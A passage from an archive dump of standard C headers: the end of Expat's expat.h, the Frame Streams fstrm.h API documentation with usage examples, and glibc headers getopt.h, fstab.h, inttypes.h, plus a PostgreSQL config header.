passed to the element declaration handler */ XMLPARSEAPI(void) XML_FreeContentModel(XML_Parser parser, XML_Content *model); /* Exposing the memory handling functions used in Expat */ XMLPARSEAPI(void *) XML_ATTR_MALLOC XML_ATTR_ALLOC_SIZE(2) XML_MemMalloc(XML_Parser parser, size_t size); XMLPARSEAPI(void *) XML_ATTR_ALLOC_SIZE(3) XML_MemRealloc(XML_Parser parser, void *ptr, size_t size); XMLPARSEAPI(void) XML_MemFree(XML_Parser parser, void *ptr); /* Frees memory used by the parser. */ XMLPARSEAPI(void) XML_ParserFree(XML_Parser parser); /* Returns a string describing the error. */ XMLPARSEAPI(const XML_LChar *) XML_ErrorString(enum XML_Error code); /* Return a string containing the version number of this expat */ XMLPARSEAPI(const XML_LChar *) XML_ExpatVersion(void); typedef struct { int major; int minor; int micro; } XML_Expat_Version; /* Return an XML_Expat_Version structure containing numeric version number information for this version of expat. */ XMLPARSEAPI(XML_Expat_Version) XML_ExpatVersionInfo(void); /* Added in Expat 1.95.5. */ enum XML_FeatureEnum { XML_FEATURE_END = 0, XML_FEATURE_UNICODE, XML_FEATURE_UNICODE_WCHAR_T, XML_FEATURE_DTD, XML_FEATURE_CONTEXT_BYTES, XML_FEATURE_MIN_SIZE, XML_FEATURE_SIZEOF_XML_CHAR, XML_FEATURE_SIZEOF_XML_LCHAR, XML_FEATURE_NS, XML_FEATURE_LARGE_SIZE, XML_FEATURE_ATTR_INFO, /* Added in Expat 2.4.0. */ XML_FEATURE_BILLION_LAUGHS_ATTACK_PROTECTION_MAXIMUM_AMPLIFICATION_DEFAULT, XML_FEATURE_BILLION_LAUGHS_ATTACK_PROTECTION_ACTIVATION_THRESHOLD_DEFAULT, /* Additional features must be added to the end of this enum. */ /* Added in Expat 2.7.2. */ XML_FEATURE_ALLOC_TRACKER_MAXIMUM_AMPLIFICATION_DEFAULT, XML_FEATURE_ALLOC_TRACKER_ACTIVATION_THRESHOLD_DEFAULT, }; typedef struct { enum XML_FeatureEnum feature; const XML_LChar *name; long int value; } XML_Feature; XMLPARSEAPI(const XML_Feature *) XML_GetFeatureList(void); #ifdef XML_DTD /* Added in Expat 2.4.0. */ XMLPARSEAPI(XML_Bool) XML_SetBillionLaughsAttackProtectionMaximumAmplification( XML_Parser parser, float maximumAmplificationFactor); /* Added in Expat 2.4.0. */ XMLPARSEAPI(XML_Bool) XML_SetBillionLaughsAttackProtectionActivationThreshold( XML_Parser parser, unsigned long long activationThresholdBytes); /* Added in Expat 2.7.2. */ XMLPARSEAPI(XML_Bool) XML_SetAllocTrackerMaximumAmplification(XML_Parser parser, float maximumAmplificationFactor); /* Added in Expat 2.7.2. */ XMLPARSEAPI(XML_Bool) XML_SetAllocTrackerActivationThreshold( XML_Parser parser, unsigned long long activationThresholdBytes); #endif /* Added in Expat 2.6.0. */ XMLPARSEAPI(XML_Bool) XML_SetReparseDeferralEnabled(XML_Parser parser, XML_Bool enabled); /* Expat follows the semantic versioning convention. See http://semver.org. */ #define XML_MAJOR_VERSION 2 #define XML_MINOR_VERSION 5 #define XML_MICRO_VERSION 0 #ifdef __cplusplus } #endif #endif /* not Expat_INCLUDED */ fstrm.h 0000644 00000031331 15246445046 0006063 0 ustar 00 /* * Copyright (c) 2013-2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ /*! \file * \mainpage Introduction * * This is `fstrm`, a C implementation of the Frame Streams data transport * protocol. * * Frame Streams is a light weight, binary clean protocol that allows for the * transport of arbitrarily encoded data payload sequences with minimal framing * overhead -- just four bytes per data frame. Frame Streams does not specify an * encoding format for data frames and can be used with any data serialization * format that produces byte sequences, such as [Protocol Buffers], [XML], * [JSON], [MessagePack], [YAML], etc. Frame Streams can be used as both a * streaming transport over a reliable byte stream socket (TCP sockets, TLS * connections, `AF_UNIX` sockets, etc.) for data in motion as well as a file * format for data at rest. A "Content Type" header identifies the type of * payload being carried over an individual Frame Stream and allows cooperating * programs to determine how to interpret a given sequence of data payloads. * * `fstrm` is an optimized C implementation of Frame Streams that includes a * fast, lockless circular queue implementation and exposes library interfaces * for setting up a dedicated Frame Streams I/O thread and asynchronously * submitting data frames for transport from worker threads. It was originally * written to facilitate the addition of high speed binary logging to DNS * servers written in C using the [dnstap] log format. * * This is the API documentation for the `fstrm` library. For the project * hosting site, see <https://github.com/farsightsec/fstrm>. * * \authors Farsight Security, Inc. and the `fstrm` authors. * * \copyright 2013-2018. Licensed under the terms of the [MIT] license. * * [Protocol Buffers]: https://developers.google.com/protocol-buffers/ * [XML]: http://www.w3.org/TR/xml11/ * [JSON]: http://www.json.org/ * [MessagePack]: http://msgpack.org/ * [YAML]: http://www.yaml.org/ * [dnstap]: http://dnstap.info/ * [MIT]: https://opensource.org/licenses/MIT * * \page overview Library overview * * \section init Initializing the library * * `fstrm` has no global library state. In most cases, only a single * \ref fstrm_iothr library context object will be needed for the entire process, * which will implicitly create a background I/O serialization thread. This I/O * thread is bound to a particular output writer (for example, an `AF_UNIX` * socket) and is fully buffered -- submitted data frames will be accumulated in * an output buffer and periodically flushed, minimizing the number of system * calls that need to be performed. This frees worker threads from waiting for a * write() to complete. * * `fstrm` abstracts the actual I/O operations needed to read or write a byte * stream. File and socket I/O implementations are included in the library, but * if necessary `fstrm` can be extended to support new types of byte stream * transports. See the \ref fstrm_reader, \ref fstrm_writer, and \ref fstrm_rdwr * interfaces for details. * * The following code example shows the initialization of an `fstrm_iothr` * library context object connected to an \ref fstrm_file writer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ const char *file_path = "/tmp/output.fs"; struct fstrm_file_options *fopt; struct fstrm_iothr *iothr; struct fstrm_writer *writer; fopt = fstrm_file_options_init(); fstrm_file_options_set_file_path(fopt, file_path); writer = fstrm_file_writer_init(fopt, NULL); if (!writer) { fprintf(stderr, "Error: fstrm_file_writer_init() failed.\n"); exit(EXIT_FAILURE); } iothr = fstrm_iothr_init(NULL, &writer); if (!iothr) { fprintf(stderr, "Error: fstrm_iothr_init() failed.\n"); exit(EXIT_FAILURE); } fstrm_file_options_destroy(&fopt); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * Since the I/O operations are abstracted through the `fstrm_writer` interface, * the `writer` variable in the above example could instead have been * initialized with a completely different implementation. For example, * \ref fstrm_unix_writer objects can be initialized as follows: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ const char *socket_path = "/tmp/output.sock"; struct fstrm_writer *writer; struct fstrm_unix_writer_options *uwopt; uwopt = fstrm_unix_writer_options_init(); fstrm_unix_writer_options_set_socket_path(uwopt, socket_path); writer = fstrm_unix_writer_init(uwopt, NULL); if (!writer) { fprintf(stderr, "Error: fstrm_unix_writer_init() failed.\n"); exit(EXIT_FAILURE); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section queue Getting an input queue * * After the `fstrm_iothr` object has been created with fstrm_iothr_init(), an * input queue handle can be obtained with the fstrm_iothr_get_input_queue() * function, which returns an `fstrm_iothr_queue` object. This function is * thread-safe and returns a unique queue each time it is called, up to the * number of queues specified by fstrm_iothr_options_set_num_input_queues(). * `fstrm_iothr_queue` objects belong to their parent `fstrm_iothr` object and * will be destroyed when the parent `fstrm_iothr` object is destroyed. * * The following code example shows a single `fstrm_iothr_queue` handle being * obtained from an already initialized `fstrm_iothr` library context object. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * struct fstrm_iothr_queue *ioq; ioq = fstrm_iothr_get_input_queue(iothr); if (!ioq) { fprintf(stderr, "Error: fstrm_iothr_get_input_queue() failed.\n"); exit(EXIT_FAILURE); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section submit Submitting data frames * * Once the `fstrm_iothr` object has been created and an `fstrm_iothr_queue` * handle is available, data frames can be submitted for asynchronous writing * using the fstrm_iothr_submit() function. A callback is passed to this * function which will be invoked to deallocate the data frame once the I/O * thread has completed processing it. In the common case where the data frame * is dynamically allocated with `malloc()`, the deallocation callback must call * `free()`. fstrm_free_wrapper() is provided as a convenience function which * does this and can be specified as the `free_func` parameter to * fstrm_iothr_submit(). * * If space is available in the queue, fstrm_iothr_submit() will return * #fstrm_res_success, indicating that ownership of the memory allocation for the * data frame has passed from the caller to the library. The caller must not * reuse or deallocate the memory for the data frame after a successful call to * fstrm_iothr_submit(). * * Callers must check the return value of fstrm_iothr_submit(). If this function * fails, that is, it returns any result code other than #fstrm_res_success, the * caller must deallocate or otherwise dispose of memory allocated for the data * frame, in order to avoid leaking memory. fstrm_iothr_submit() can fail with * #fstrm_res_again if there is currently no space in the circular queue for an * additional frame, in which case a later call to fstrm_iothr_submit() with the * same parameters may succeed. However, if fstrm_iothr_submit() fails with * #fstrm_res_invalid, then there is a problem with the parameters and a later * call will not succeed. * * The following code example shows data frames containing a short sequence of * bytes being created and submitted repeatedly, with appropriate error * handling. Note that the data frames in this example intentionally contain * embedded unprintable characters, showing that Frame Streams is binary clean. * This example follows from the previous examples, where the `iothr` and `ioq` * variables have already been initialized. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * // 'ioq' is a struct fstrm_queue * const unsigned num_frames = 100; const uint8_t frame_template[] = { 'H', 'e', 'l', 'l', 'o', 0x00, 0x01, 0x02, 0x03, 'W', 'o', 'r', 'l', 'd', 0x04, 0x05, 0x06, 0x07, }; for (unsigned i = 0; i < num_frames; i++) { // Allocate a new frame from the template. uint8_t *frame = malloc(sizeof(frame_template)); if (!frame) break; memcpy(frame, frame_template, sizeof(frame_template)); // Submit the frame for writing. for (;;) { fstrm_res res; res = fstrm_iothr_submit(iothr, ioq, frame, sizeof(frame_template), fstrm_free_wrapper, NULL); if (res == fstrm_res_success) { // Frame successfully queued. break; } else if (res == fstrm_res_again) { // Queue is full. Try again in a busy loop. // Alternatively, if loss can be tolerated we // could free the frame here and break out of // the loop. continue; } else { // Permanent failure. free(frame); fputs("fstrm_iothr_submit() failed.\n", stderr); break; } } } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \section shutdown Shutting down * * Calling fstrm_iothr_destroy() on the `fstrm_iothr` object will signal the I/O * thread to flush any outstanding data frames being written and will deallocate * all associated resources. This function is synchronous and does not return * until the I/O thread has terminated. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // 'iothr' is a struct fstrm_iothr * fstrm_iothr_destroy(&iothr); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ #ifndef FSTRM_H #define FSTRM_H #ifdef __cplusplus extern "C" { #endif #include <sys/uio.h> #include <stddef.h> #include <stdint.h> /** * \defgroup fstrm_res fstrm_res * * Library result codes. * @{ */ /** * Result codes for functions. */ typedef enum { /** Success. */ fstrm_res_success, /** Failure. */ fstrm_res_failure, /** Resource temporarily unavailable. */ fstrm_res_again, /** Parameters were invalid. */ fstrm_res_invalid, /** The end of a stream has been reached. */ fstrm_res_stop, } fstrm_res; /**@}*/ struct fstrm_control; struct fstrm_file_options; struct fstrm_iothr; struct fstrm_iothr_options; struct fstrm_iothr_queue; struct fstrm_rdwr; struct fstrm_reader_options; struct fstrm_unix_writer_options; struct fstrm_writer; struct fstrm_writer_options; #include <fstrm/control.h> #include <fstrm/file.h> #include <fstrm/iothr.h> #include <fstrm/rdwr.h> #include <fstrm/reader.h> #include <fstrm/tcp_writer.h> #include <fstrm/unix_writer.h> #include <fstrm/writer.h> #ifdef __cplusplus } #endif #endif /* FSTRM_H */ getopt.h 0000644 00000002674 15246445046 0006242 0 ustar 00 /* Declarations for getopt. Copyright (C) 1989-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Unlike the bulk of the getopt implementation, this file is NOT part of gnulib; gnulib also has a getopt.h but it is different. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _GETOPT_H #define _GETOPT_H 1 #include <features.h> /* The type of the 'argv' argument to getopt_long and getopt_long_only is properly 'char **', since both functions may write to the array (in order to move all the options to the beginning). However, for compatibility with old versions of LSB, glibc has to use 'char *const *' instead. */ #ifndef __getopt_argv_const # define __getopt_argv_const const #endif #include <bits/getopt_core.h> #include <bits/getopt_ext.h> #endif /* getopt.h */ pg_config_ext-x86_64.h 0000644 00000000503 15246445046 0010474 0 ustar 00 /* src/include/pg_config_ext.h. Generated from pg_config_ext.h.in by configure. */ /* * src/include/pg_config_ext.h.in. This is generated manually, not by * autoheader, since we want to limit which symbols get defined here. */ /* Define to the name of a signed 64-bit integer type. */ #define PG_INT64_TYPE long int fstab.h 0000644 00000006047 15246445046 0006035 0 ustar 00 /* * Copyright (c) 1980, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)fstab.h 8.1 (Berkeley) 6/2/93 */ #ifndef _FSTAB_H #define _FSTAB_H 1 #include <features.h> /* * File system table, see fstab(5). * * Used by dump, mount, umount, swapon, fsck, df, ... * * For ufs fs_spec field is the block special name. Programs that want to * use the character special name must create that name by prepending a 'r' * after the right most slash. Quota files are always named "quotas", so * if type is "rq", then use concatenation of fs_file and "quotas" to locate * quota file. */ #define _PATH_FSTAB "/etc/fstab" #define FSTAB "/etc/fstab" /* deprecated */ #define FSTAB_RW "rw" /* read/write device */ #define FSTAB_RQ "rq" /* read/write with quotas */ #define FSTAB_RO "ro" /* read-only device */ #define FSTAB_SW "sw" /* swap device */ #define FSTAB_XX "xx" /* ignore totally */ struct fstab { char *fs_spec; /* block special device name */ char *fs_file; /* file system path prefix */ char *fs_vfstype; /* File system type, ufs, nfs */ char *fs_mntops; /* Mount options ala -o */ const char *fs_type; /* FSTAB_* from fs_mntops */ int fs_freq; /* dump frequency, in days */ int fs_passno; /* pass number on parallel dump */ }; __BEGIN_DECLS extern struct fstab *getfsent (void) __THROW; extern struct fstab *getfsspec (const char *__name) __THROW; extern struct fstab *getfsfile (const char *__name) __THROW; extern int setfsent (void) __THROW; extern void endfsent (void) __THROW; __END_DECLS #endif /* fstab.h */ inttypes.h 0000644 00000027164 15246445046 0006620 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99: 7.8 Format conversion of integer types <inttypes.h> */ #ifndef _INTTYPES_H #define _INTTYPES_H 1 #include <features.h> /* Get the type definitions. */ #include <stdint.h> /* Get a definition for wchar_t. But we must not define wchar_t itself. */ #ifndef ____gwchar_t_defined # ifdef __cplusplus # define __gwchar_t wchar_t # elif defined __WCHAR_TYPE__ typedef __WCHAR_TYPE__ __gwchar_t; # else # define __need_wchar_t # include <stddef.h> typedef wchar_t __gwchar_t; # endif # define ____gwchar_t_defined 1 #endif # if __WORDSIZE == 64 # define __PRI64_PREFIX "l" # define __PRIPTR_PREFIX "l" # else # define __PRI64_PREFIX "ll" # define __PRIPTR_PREFIX # endif /* Macros for printing format specifiers. */ /* Decimal notation. */ # define PRId8 "d" # define PRId16 "d" # define PRId32 "d" # define PRId64 __PRI64_PREFIX "d" # define PRIdLEAST8 "d" # define PRIdLEAST16 "d" # define PRIdLEAST32 "d" # define PRIdLEAST64 __PRI64_PREFIX "d" # define PRIdFAST8 "d" # define PRIdFAST16 __PRIPTR_PREFIX "d" # define PRIdFAST32 __PRIPTR_PREFIX "d" # define PRIdFAST64 __PRI64_PREFIX "d" # define PRIi8 "i" # define PRIi16 "i" # define PRIi32 "i" # define PRIi64 __PRI64_PREFIX "i" # define PRIiLEAST8 "i" # define PRIiLEAST16 "i" # define PRIiLEAST32 "i" # define PRIiLEAST64 __PRI64_PREFIX "i" # define PRIiFAST8 "i" # define PRIiFAST16 __PRIPTR_PREFIX "i" # define PRIiFAST32 __PRIPTR_PREFIX "i" # define PRIiFAST64 __PRI64_PREFIX "i" /* Octal notation. */ # define PRIo8 "o" # define PRIo16 "o" # define PRIo32 "o" # define PRIo64 __PRI64_PREFIX "o" # define PRIoLEAST8 "o" # define PRIoLEAST16 "o" # define PRIoLEAST32 "o" # define PRIoLEAST64 __PRI64_PREFIX "o" # define PRIoFAST8 "o" # define PRIoFAST16 __PRIPTR_PREFIX "o" # define PRIoFAST32 __PRIPTR_PREFIX "o" # define PRIoFAST64 __PRI64_PREFIX "o" /* Unsigned integers. */ # define PRIu8 "u" # define PRIu16 "u" # define PRIu32 "u" # define PRIu64 __PRI64_PREFIX "u" # define PRIuLEAST8 "u" # define PRIuLEAST16 "u" # define PRIuLEAST32 "u" # define PRIuLEAST64 __PRI64_PREFIX "u" # define PRIuFAST8 "u" # define PRIuFAST16 __PRIPTR_PREFIX "u" # define PRIuFAST32 __PRIPTR_PREFIX "u" # define PRIuFAST64 __PRI64_PREFIX "u" /* lowercase hexadecimal notation. */ # define PRIx8 "x" # define PRIx16 "x" # define PRIx32 "x" # define PRIx64 __PRI64_PREFIX "x" # define PRIxLEAST8 "x" # define PRIxLEAST16 "x" # define PRIxLEAST32 "x" # define PRIxLEAST64 __PRI64_PREFIX "x" # define PRIxFAST8 "x" # define PRIxFAST16 __PRIPTR_PREFIX "x" # define PRIxFAST32 __PRIPTR_PREFIX "x" # define PRIxFAST64 __PRI64_PREFIX "x" /* UPPERCASE hexadecimal notation. */ # define PRIX8 "X" # define PRIX16 "X" # define PRIX32 "X" # define PRIX64 __PRI64_PREFIX "X" # define PRIXLEAST8 "X" # define PRIXLEAST16 "X" # define PRIXLEAST32 "X" # define PRIXLEAST64 __PRI64_PREFIX "X" # define PRIXFAST8 "X" # define PRIXFAST16 __PRIPTR_PREFIX "X" # define PRIXFAST32 __PRIPTR_PREFIX "X" # define PRIXFAST64 __PRI64_PREFIX "X" /* Macros for printing `intmax_t' and `uintmax_t'. */ # define PRIdMAX __PRI64_PREFIX "d" # define PRIiMAX __PRI64_PREFIX "i" # define PRIoMAX __PRI64_PREFIX "o" # define PRIuMAX __PRI64_PREFIX "u" # define PRIxMAX __PRI64_PREFIX "x" # define PRIXMAX __PRI64_PREFIX "X" /* Macros for printing `intptr_t' and `uintptr_t'. */ # define PRIdPTR __PRIPTR_PREFIX "d" # define PRIiPTR __PRIPTR_PREFIX "i" # define PRIoPTR __PRIPTR_PREFIX "o" # define PRIuPTR __PRIPTR_PREFIX "u" # define PRIxPTR __PRIPTR_PREFIX "x" # define PRIXPTR __PRIPTR_PREFIX "X" /* Macros for scanning format specifiers. */ /* Signed decimal notation. */ # define SCNd8 "hhd" # define SCNd16 "hd" # define SCNd32 "d" # define SCNd64 __PRI64_PREFIX "d" # define SCNdLEAST8 "hhd" # define SCNdLEAST16 "hd" # define SCNdLEAST32 "d" # define SCNdLEAST64 __PRI64_PREFIX "d" # define SCNdFAST8 "hhd" # define SCNdFAST16 __PRIPTR_PREFIX "d" # define SCNdFAST32 __PRIPTR_PREFIX "d" # define SCNdFAST64 __PRI64_PREFIX "d" /* Signed decimal notation. */ # define SCNi8 "hhi" # define SCNi16 "hi" # define SCNi32 "i" # define SCNi64 __PRI64_PREFIX "i" # define SCNiLEAST8 "hhi" # define SCNiLEAST16 "hi" # define SCNiLEAST32 "i" # define SCNiLEAST64 __PRI64_PREFIX "i" # define SCNiFAST8 "hhi" # define SCNiFAST16 __PRIPTR_PREFIX "i" # define SCNiFAST32 __PRIPTR_PREFIX "i" # define SCNiFAST64 __PRI64_PREFIX "i" /* Unsigned decimal notation. */ # define SCNu8 "hhu" # define SCNu16 "hu" # define SCNu32 "u" # define SCNu64 __PRI64_PREFIX "u" # define SCNuLEAST8 "hhu" # define SCNuLEAST16 "hu" # define SCNuLEAST32 "u" # define SCNuLEAST64 __PRI64_PREFIX "u" # define SCNuFAST8 "hhu" # define SCNuFAST16 __PRIPTR_PREFIX "u" # define SCNuFAST32 __PRIPTR_PREFIX "u" # define SCNuFAST64 __PRI64_PREFIX "u" /* Octal notation. */ # define SCNo8 "hho" # define SCNo16 "ho" # define SCNo32 "o" # define SCNo64 __PRI64_PREFIX "o" # define SCNoLEAST8 "hho" # define SCNoLEAST16 "ho" # define SCNoLEAST32 "o" # define SCNoLEAST64 __PRI64_PREFIX "o" # define SCNoFAST8 "hho" # define SCNoFAST16 __PRIPTR_PREFIX "o" # define SCNoFAST32 __PRIPTR_PREFIX "o" # define SCNoFAST64 __PRI64_PREFIX "o" /* Hexadecimal notation. */ # define SCNx8 "hhx" # define SCNx16 "hx" # define SCNx32 "x" # define SCNx64 __PRI64_PREFIX "x" # define SCNxLEAST8 "hhx" # define SCNxLEAST16 "hx" # define SCNxLEAST32 "x" # define SCNxLEAST64 __PRI64_PREFIX "x" # define SCNxFAST8 "hhx" # define SCNxFAST16 __PRIPTR_PREFIX "x" # define SCNxFAST32 __PRIPTR_PREFIX "x" # define SCNxFAST64 __PRI64_PREFIX "x" /* Macros for scanning `intmax_t' and `uintmax_t'. */ # define SCNdMAX __PRI64_PREFIX "d" # define SCNiMAX __PRI64_PREFIX "i" # define SCNoMAX __PRI64_PREFIX "o" # define SCNuMAX __PRI64_PREFIX "u" # define SCNxMAX __PRI64_PREFIX "x" /* Macros for scaning `intptr_t' and `uintptr_t'. */ # define SCNdPTR __PRIPTR_PREFIX "d" # define SCNiPTR __PRIPTR_PREFIX "i" # define SCNoPTR __PRIPTR_PREFIX "o" # define SCNuPTR __PRIPTR_PREFIX "u" # define SCNxPTR __PRIPTR_PREFIX "x" __BEGIN_DECLS #if __WORDSIZE == 64 /* We have to define the `uintmax_t' type using `ldiv_t'. */ typedef struct { long int quot; /* Quotient. */ long int rem; /* Remainder. */ } imaxdiv_t; #else /* We have to define the `uintmax_t' type using `lldiv_t'. */ typedef struct { __extension__ long long int quot; /* Quotient. */ __extension__ long long int rem; /* Remainder. */ } imaxdiv_t; #endif /* Compute absolute value of N. */ extern intmax_t imaxabs (intmax_t __n) __THROW __attribute__ ((__const__)); /* Return the `imaxdiv_t' representation of the value of NUMER over DENOM. */ extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom) __THROW __attribute__ ((__const__)); /* Like `strtol' but convert to `intmax_t'. */ extern intmax_t strtoimax (const char *__restrict __nptr, char **__restrict __endptr, int __base) __THROW; /* Like `strtoul' but convert to `uintmax_t'. */ extern uintmax_t strtoumax (const char *__restrict __nptr, char ** __restrict __endptr, int __base) __THROW; /* Like `wcstol' but convert to `intmax_t'. */ extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr, __gwchar_t **__restrict __endptr, int __base) __THROW; /* Like `wcstoul' but convert to `uintmax_t'. */ extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr, __gwchar_t ** __restrict __endptr, int __base) __THROW; #ifdef __USE_EXTERN_INLINES # if __WORDSIZE == 64 extern long int __strtol_internal (const char *__restrict __nptr, char **__restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `strtol' but convert to `intmax_t'. */ __extern_inline intmax_t __NTH (strtoimax (const char *__restrict nptr, char **__restrict endptr, int base)) { return __strtol_internal (nptr, endptr, base, 0); } extern unsigned long int __strtoul_internal (const char *__restrict __nptr, char ** __restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `strtoul' but convert to `uintmax_t'. */ __extern_inline uintmax_t __NTH (strtoumax (const char *__restrict nptr, char **__restrict endptr, int base)) { return __strtoul_internal (nptr, endptr, base, 0); } extern long int __wcstol_internal (const __gwchar_t * __restrict __nptr, __gwchar_t **__restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `wcstol' but convert to `intmax_t'. */ __extern_inline intmax_t __NTH (wcstoimax (const __gwchar_t *__restrict nptr, __gwchar_t **__restrict endptr, int base)) { return __wcstol_internal (nptr, endptr, base, 0); } extern unsigned long int __wcstoul_internal (const __gwchar_t * __restrict __nptr, __gwchar_t ** __restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `wcstoul' but convert to `uintmax_t'. */ __extern_inline uintmax_t __NTH (wcstoumax (const __gwchar_t *__restrict nptr, __gwchar_t **__restrict endptr, int base)) { return __wcstoul_internal (nptr, endptr, base, 0); } # else /* __WORDSIZE == 32 */ __extension__ extern long long int __strtoll_internal (const char *__restrict __nptr, char **__restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `strtol' but convert to `intmax_t'. */ __extern_inline intmax_t __NTH (strtoimax (const char *__restrict nptr, char **__restrict endptr, int base)) { return __strtoll_internal (nptr, endptr, base, 0); } __extension__ extern unsigned long long int __strtoull_internal (const char * __restrict __nptr, char ** __restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `strtoul' but convert to `uintmax_t'. */ __extern_inline uintmax_t __NTH (strtoumax (const char *__restrict nptr, char **__restrict endptr, int base)) { return __strtoull_internal (nptr, endptr, base, 0); } __extension__ extern long long int __wcstoll_internal (const __gwchar_t *__restrict __nptr, __gwchar_t **__restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `wcstol' but convert to `intmax_t'. */ __extern_inline intmax_t __NTH (wcstoimax (const __gwchar_t *__restrict nptr, __gwchar_t **__restrict endptr, int base)) { return __wcstoll_internal (nptr, endptr, base, 0); } __extension__ extern unsigned long long int __wcstoull_internal (const __gwchar_t * __restrict __nptr, __gwchar_t ** __restrict __endptr, int __base, int __group) __THROW __nonnull ((1)) __wur; /* Like `wcstoul' but convert to `uintmax_t'. */ __extern_inline uintmax_t __NTH (wcstoumax (const __gwchar_t *__restrict nptr, __gwchar_t **__restrict endptr, int base)) { return __wcstoull_internal (nptr, endptr, base, 0); } # endif /* __WORDSIZE == 32 */ #endif /* Use extern inlines. */ __END_DECLS #endif /* inttypes.h */ errno.h 0000644 00000003216 15246445046 0006056 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part 